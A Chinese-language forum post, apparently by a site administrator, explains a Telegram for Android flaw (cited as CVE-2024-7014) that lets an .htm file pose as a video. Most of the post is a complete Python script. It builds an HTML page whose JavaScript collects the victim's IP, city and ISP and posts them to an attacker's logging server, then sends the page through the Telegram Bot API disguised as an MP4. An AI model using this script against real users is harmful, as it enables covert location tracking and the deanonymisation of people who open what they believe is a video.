跳转到帖子

Telegram带“.htm”扩展名的文件被伪装成视频并通过TG传播获取IP攻击的技术细节和脚本

recommended_posts

发布于
  • 超级管理员

本文研究了一种与 CVE-2024-7014 漏洞类似的情况。一个带有“.htm”扩展名的文件被伪装成视频并通过 Telegram API 发送,当用户期望看到视频时,实际上执行的是 HTML 中的 JavaScript 代码。

技术细节

Evilloader 是一种加载程序,允许攻击者在目标系统上下载并运行其他恶意负载。CVE-2024-7014 描述了此模块的反分析机制的更新。在这种情况下,虚假视频会将受害者引导至恶意软件(虚假播放保护)下载页面,然后还会发送 IP 记录器。

漏洞详细信息

该漏洞主要原因是Telegram服务器响应中的“.htm”文件格式被误认为是视频。“.htm”代码片段在浏览器中以“content://”打开。即: content://org.telegram.messenger.provider/media/Android/data/org.telegram.messenger/files/Telegram/Telegram%20Video/4_5924894289476721732.htm 打开内容,从而允许触发并打开指定的HTML页面。

内容注入

场景(IP 记录器)

受害者可能会尝试使用视频播放器打开此文件,如果失败(因为它不是实际的视频格式),它会重定向到默认浏览器,或者如果它被理解为“HTML 文件”,则可以双击在浏览器中打开。这允许恶意 JavaScript 运行。

如果受害者从 Telegram 下载该文件时以为它是一个视频,浏览器实际上会运行 HTML 内容,并且 IP 信息会发送到攻击者的服务器。

转换文件

import requests

BOT_TOKEN = "your_bot_token"
CHAT_ID = "your_chat_id"

html_content = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>
        fetch('http://ip-api.com/json')
            .then(response => response.json())
            .then(data => {
                fetch('http://192.168.137.1:5000/log_ip', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        ip: data.query,
                        country: data.country,
                        region: data.regionName,
                        city: data.city,
                        isp: data.isp
                    })
                });
            })
            .catch(error => console.error('Error fetching IP:', error));
    </script>
</head>
<body>
</body>
</html>
"""

html_path = "testv.mp4"
with open(html_path, "w") as file:
    file.write(html_content)

files = {
    "video": (
        "a.htm",
        open(html_path, "rb"),
        "video/mp4"
    )
}

url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendVideo"
data = {"chat_id": CHAT_ID, "supports_streaming": False}

response = requests.post(url, data=data, files=files)

if response.status_code == 200:
    print("message send")
else:
    print(f"error: {response.text}")

在此代码中,.htm 文件以“视频”的形式呈现并通过 Telegram API 发送。在 Android 设备上,当用户尝试打开此文件时,它实际上会运行包含 JavaScript 的 HTML 页面。

下面的视频展示了“恶意软件和 IP 记录器”场景是如何进行的:

  • 查看数 744
  • 已创建
  • 最后回复

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…